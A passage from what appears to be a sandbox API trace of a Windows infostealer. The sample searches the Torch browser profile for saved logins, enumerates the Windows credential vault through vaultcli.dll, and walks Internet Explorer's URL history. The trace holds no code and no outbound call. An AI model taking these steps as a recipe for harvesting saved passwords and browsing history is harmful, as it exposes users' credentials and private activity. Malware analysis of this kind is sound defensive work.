Data\\rowser\\User Data\\ῦ쉼ῦ쇩瑲㘑瑮꘰ῦゐῡṽ㛄瑮\x14") returned 31 [0156.145] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Torch\\User Data\\", lpDst=0x1e2a3154, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Torch\\User Data\\") returned 0x31 [0156.146] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Torch\\User Data\\\\*.*", lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ㅔḪ䃭@\x05")) returned 0xffffffff [0156.146] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Data") returned 10 [0156.146] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Torch\\User Data\\\\\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\torch\\user data\\login data")) returned 0xffffffff [0156.146] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ㅔḪ䃭@\x05")) returned 0 [0156.146] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0156.148] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0156.149] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0156.149] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x75f10000 [0156.150] GetProcAddress (hModule=0x75f10000, lpProcName="CLSIDFromString") returned 0x75f2e599 [0156.150] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022ce4, cbMultiByte=38, lpWideCharStr=0x1e7debdc, cchWideChar=2047 | out: lpWideCharStr="{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}긍瑰\x03") returned 38 [0156.150] CLSIDFromString (in: lpsz="{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}", pclsid=0x1e7dfc4c | out: pclsid=0x1e7dfc4c*(Data1=0x4bf4c442, Data2=0x9b8a, Data3=0x41a0, Data4=([0]=0xb3, [1]=0x80, [2]=0xdd, [3]=0x4a, [4]=0x70, [5]=0x4d, [6]=0xdb, [7]=0x28))) returned 0x0 [0156.150] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022d18, cbMultiByte=38, lpWideCharStr=0x1e7debdc, cchWideChar=2047 | out: lpWideCharStr="{3CCD5499-87A8-4B10-A215-608888DD3B55}긍瑰\x03") returned 38 [0156.150] CLSIDFromString (in: lpsz="{3CCD5499-87A8-4B10-A215-608888DD3B55}", pclsid=0x1e7dfc3c | out: pclsid=0x1e7dfc3c*(Data1=0x3ccd5499, Data2=0x87a8, Data3=0x4b10, Data4=([0]=0xa2, [1]=0x15, [2]=0x60, [3]=0x88, [4]=0x88, [5]=0xdd, [6]=0x3b, [7]=0x55))) returned 0x0 [0156.150] LoadLibraryA (lpLibFileName="vaultcli.dll") returned 0x73ae0000 [0158.784] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0158.784] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0158.785] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0158.785] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0158.785] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0158.786] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0158.797] GetProcAddress (hModule=0x73ae0000, lpProcName="VaultOpenVault") returned 0x73ae26a9 [0158.798] GetProcAddress (hModule=0x73ae0000, lpProcName="VaultEnumerateItems") returned 0x73ae3099 [0158.798] GetProcAddress (hModule=0x73ae0000, lpProcName="VaultGetItem") returned 0x73ae3242 [0158.798] VaultOpenVault () returned 0x0 [0159.354] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0159.354] VaultEnumerateItems () returned 0x0 [0159.355] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0159.356] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0159.356] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0159.357] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0159.357] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0159.358] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40a000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40a000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0159.358] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0159.358] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0159.359] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022824, cbMultiByte=36, lpWideCharStr=0x1e7debf8, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Internet Explorerṽṽꫠῦゐῡ쉐ῦ\x03") returned 36 [0159.359] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0159.360] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0159.360] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7dfbfc | out: phkResult=0x1e7dfbfc*=0x5f4) returned 0x0 [0159.360] RegQueryValueExW (in: hKey=0x5f4, lpValueName="Version", lpReserved=0x0, lpType=0x1e7dfc04, lpData=0x1e7df9fc, lpcbData=0x1e7dfc00*=0xfe | out: lpType=0x1e7dfc04*=0x1, lpData="8.0.7601.17514", lpcbData=0x1e7dfc00*=0x1e) returned 0x0 [0159.361] RegCloseKey (hKey=0x80000002) returned 0x0 [0159.361] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="8.0.7601.17514", cchWideChar=14, lpMultiByteStr=0x1e7dec0c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8.0.7601.17514t", lpUsedDefaultChar=0x0) returned 14 [0159.361] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0159.361] OleInitialize (pvReserved=0x0) returned 0x0 [0159.378] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40a000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40a000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0159.380] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0159.381] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0159.381] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0159.382] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0159.382] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0159.383] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0159.383] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0159.383] CoCreateInstance (in: rclsid=0x41b0dc*(Data1=0x3c374a40, Data2=0xbae4, Data3=0x11cf, Data4=([0]=0xbf, [1]=0x7d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x69, [6]=0x46, [7]=0xee)), pUnkOuter=0x0, dwClsContext=0x5, riid=0x40a4cc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1e7dfbe0 | out: ppv=0x1e7dfbe0*=0x1e244de8) returned 0x0 [0162.608] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40a000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40a000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0162.611] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0162.611] IUnknown:QueryInterface (in: This=0x1e244de8, riid=0x40a63c*(Data1=0xafa0dc11, Data2=0xc313, Data3=0x11d0, Data4=([0]=0x83, [1]=0x1a, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd5, [6]=0xae, [7]=0x38)), ppvObject=0x1e7dfbbc | out: ppvObject=0x1e7dfbbc*=0x1e244de8) returned 0x0 [0162.611] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0162.615] IUrlHistoryStg:EnumUrls (in: This=0x1e244de8, ppenum=0x1e7dfc14 | out: ppenum=0x1e7dfc14*=0x1e2a39f8) returned 0x0 [0162.615] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40a000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40a000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0162.638] IEnumSTATURL:SetFilter (This=0x1e2a39f8, poszFilter="", dwFlags=0x0) returned 0x0 [0162.642] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1e7dfc3c | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0162.970] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0162.971] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0162.971] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0162.972] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0162.972] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0162.973] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0162.973] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0162.974] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/vmgokdubkc.jpg", cchWideChar=56, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/AppData/Roaming/vmgokdubkc.jpg\x03", lpUsedDefaultChar=0x0) returned 56 [0162.974] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=56, lpWideCharStr=0x1f02453c, cchWideChar=113 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/vmgokdubkc.jpg\x88") returned 56 [0162.974] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0162.975] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/OtA3DHv0xtgw_baFus5.jpg", cchWideChar=65, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/AppData/Roaming/OtA3DHv0xtgw_baFus5.jpgta/Roaming/OtA3DHv0xtgw_baFus5.jpg", lpUsedDefaultChar=0x0) returned 65 [0162.975] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0028, cbMultiByte=65, lpWideCharStr=0x1fcf062c, cchWideChar=131 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/OtA3DHv0xtgw_baFus5.jpg") returned 65 [0162.975] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0162.975] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/yPUabrwg/kaqz.bmp", cchWideChar=52, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Pictures/yPUabrwg/kaqz.bmpETAdzjz/Pictures/yPUabrwg/kaqz.bmp", lpUsedDefaultChar=0x0) returned 52 [0162.975] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0245d4, cbMultiByte=52, lpWideCharStr=0x1fcf033c, cchWideChar=105 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/yPUabrwg/kaqz.bmpp") returned 52 [0162.975] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0162.976] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/wQ6VPM.pdf", cchWideChar=44, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Desktop/wQ6VPM.pdf/Users/aETAdzjz/Desktop/wQ6VPM.pdf", lpUsedDefaultChar=0x0) returned 44 [0162.976] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f024634, cbMultiByte=44, lpWideCharStr=0x1fcf0130, cchWideChar=89 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/wQ6VPM.pdf`") returned 44 [0162.976] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0162.976] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/LYycmo-cjNTfWau.pdf", cchWideChar=61, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/AppData/Roaming/LYycmo-cjNTfWau.pdfppData/Roaming/LYycmo-cjNTfWau.pdf", lpUsedDefaultChar=0x0) returned 61 [0162.976] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f024690, cbMultiByte=61, lpWideCharStr=0x1fcf04e8, cchWideChar=123 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/LYycmo-cjNTfWau.pdf") returned 61 [0162.976] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0162.976] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/gRZDUs935.csv", cchWideChar=68, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/gRZDUs935.csvs/z8Q_yDu1jaODNbm6Rg/gRZDUs935.csv", lpUsedDefaultChar=0x0) returned 68 [0162.976] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f024700, cbMultiByte=68, lpWideCharStr=0x1fcf077c, cchWideChar=137 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/gRZDUs935.csv\x90") returned 68 [0162.977] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0162.977] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/qEQqPma1vWv0n2B2SG.bmp", cchWideChar=56, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Desktop/qEQqPma1vWv0n2B2SG.bmpzjz/Desktop/qEQqPma1vWv0n2B2SG.bmp", lpUsedDefaultChar=0x0) returned 56 [0162.977] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=56, lpWideCharStr=0x1f024774, cchWideChar=113 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/qEQqPma1vWv0n2B2SG.bmpက") returned 56 [0162.977] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0162.977] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/Nu56E.docx", cchWideChar=46, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/Nu56E.docxsers/aETAdzjz/Documents/Nu56E.docx", lpUsedDefaultChar=0x0) returned 46 [0162.977] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f024820, cbMultiByte=46, lpWideCharStr=0x1f024854, 